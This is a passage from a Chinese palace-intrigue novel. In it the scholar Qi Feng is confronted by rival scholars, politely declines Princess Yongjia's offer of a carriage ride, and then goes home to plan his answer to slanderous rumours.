他上前一步,无形的气势散发开来,如同山岳般压向那带头之人:“你,在威胁我?”
那带头士子被他的气势所慑,脸色一白,不由自主地后退半步,色厉内荏地道:“你…你想干什么?光天化日之下,你还敢动手不成?”
就在这时,一阵清脆的马蹄声由远及近。
只见一队盔明甲亮的骑兵护卫着一辆华丽的马车驶来,马车上的标志,赫然是皇室徽记!
马车在人群外停下,车帘掀开,露出永嘉郡主那张绝丽威严的面容。
她目光扫过混乱的场面,最后落在齐枫身上,清冷的声音响起:“何事在此喧哗?阻塞宫禁通道,尔等可知罪?”
那群士子见到郡主驾到,顿时慌了神,纷纷跪倒在地,口称“郡主千岁”。
永嘉郡主却看也没看他们,只是对着齐枫,平和地道:“齐庶吉士,这是要去往何处?若顺路,本宫可送你一程。”
此言一出,满场皆惊!
永嘉郡主竟然公然邀请齐枫同车?这在礼法森严的京城,简直是石破天惊之举!
这无疑是对那些流言蜚语最有力的回击!
齐枫看着永嘉郡主那深邃的眼眸,瞬间明白了她的用意。
她是在用这种方式,表明她的态度,同时也是在将“结交宗室”的罪名坐实,却也是一种另类的保护。
让所有人知道,他齐枫,是她永嘉郡主看重的人,想动他,得先掂量掂量。
齐枫略一沉吟,拱手道:“多谢郡主美意,只是齐某,习惯步行,不敢劳烦郡主车驾。”
他拒绝了!他竟然拒绝了郡主的好意!众人再次目瞪口呆。
永嘉郡主似乎也并不意外,只是深深看了他一眼,淡淡道:“既如此,齐庶吉士请自便。”
说完,放下了车帘。
马车在骑兵护卫下缓缓驶离。
齐枫不再理会那群呆若木鸡的士子,径直穿过人群,向着澄清坊方向走去。
背影挺拔,步履从容。
永嘉郡主此举,固然有维护之意,但也将他更深地拉入了宗室与朝堂斗争的漩涡。
而那份匿名信,以及今日的围堵,不过是暴风雨来临前的小小涟漪。
真正的风雨,恐怕就要来了。
北漠使团、暗香阁、裘半城、刘墉、袁惊尘、幽冥教残余……还有那位心思难测的永嘉郡主,各方势力都已登台。
他抬头望了望京城那被高墙分割的天空,嘴角泛起一丝冷峭的弧度。
这盘棋,越来越有意思了。
永嘉郡主的车驾远去,留下翰林院门口一众目瞪口呆的士子和窃窃私语的围观百姓。
齐枫那看似不识抬举的拒绝,以及郡主那意味深长的态度,都成了众人揣测的焦点。
对于齐枫而言,这不过是风暴前的一个小插曲。
他回到澄清坊小院,神色平静,仿佛白日里的风波未曾发生。
但熟悉他的阿福和阿贵能感觉到,少爷身上那股内敛的寒意,比往日更甚。
“少爷,那些人太可恶了!竟然如此污蔑您和林姑娘!”阿福愤愤不平,小脸气得通红。
齐枫摆了摆手,示意他不必多言。“跳梁小丑,吠声而已。不必理会。”
他走进书房,铺开纸张,开始研墨。
阿贵机灵地在一旁伺候,低声道:“少爷,是否需要我们做些什么?或者让富贵大哥他们……”
“不必。”齐枫打断他,语气淡然,“对付流言,辩解是最无用的。唯有雷霆手段,方能震慑宵小。”
他提起笔,蘸饱浓墨,却并未立刻书写,而是闭目凝神。
脑海中,关于匿名信、孟文辉、国子监、清流聚会……以及更深层次的刘墉、袁惊尘、裘半城、暗香阁等诸多线索,如同蛛网般交织、梳理。